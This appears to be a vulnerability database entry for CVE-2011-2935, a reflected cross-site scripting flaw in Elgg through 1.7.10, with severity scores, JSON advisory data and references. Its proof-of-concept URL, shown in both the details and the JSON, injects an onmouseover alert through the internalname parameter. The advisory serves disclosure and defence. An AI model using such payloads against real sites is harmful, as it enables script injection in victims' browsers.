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GHSA-MCFM-J5G6-W26F

Vulnerability from github – Published: 2022-04-22 00:24 – Updated: 2024-01-12 22:05

Summary

Elgg Reflected XSS Vulnerability

Details

VULNERABILITY DESCRIPTION

The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser

PROOF-OF-CONCEPT/EXPLOIT

http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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      },
      "package": {
        "ecosystem": "Packagist",
        "name": "elgg/elgg"
      },
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          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
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  ],
  "aliases": [
    "CVE-2011-2935"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-12T22:05:22Z",
    "nvd_published_at": "2019-11-12T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### VULNERABILITY DESCRIPTION\nThe `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim\u0027s browser\n\n### PROOF-OF-CONCEPT/EXPLOIT\n```http\nhttp://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22\n```",
  "id": "GHSA-mcfm-j5g6-w26f",
  "modified": "2024-01-12T22:05:22Z",
  "published": "2022-04-22T00:24:11Z",
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      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Elgg/Elgg/issues/3544"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Elgg/Elgg"
    },
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      "type": "WEB",
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    },
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      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2011-2935"
    },
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      "type": "WEB",
      "url": "https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-released"
    },
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      "type": "WEB",
      "url": "http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlin"
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      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Elgg Reflected XSS Vulnerability"
}

CVE-2011-2935 (GCVE-0-2011-2935)

Vulnerability from cvelistv5 – Published: 2019-11-12 13:45 – Updated: 2024-08-06 23:15

Summary

Elgg through 1.7.10 has XSS

Severity

No CVSS data available.

CWE

unspecified

Assigner

redhat CNA under the redhat root

CNA scorecard B 82/100 over 1036 records in the last 180 days details

References

3 references

URL	Tags
https://security-tracker.debian.org/tracker/CVE-2…	vendor-advisoryx_refsource_DEBIAN
https://access.redhat.com/security/cve/cve-2011-2935	vendor-advisoryx_refsource_REDHAT
https://oss-security.openwall.narkive.com/1UH3NYx…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Elgg	Elgg	Affected: through 1.7.10

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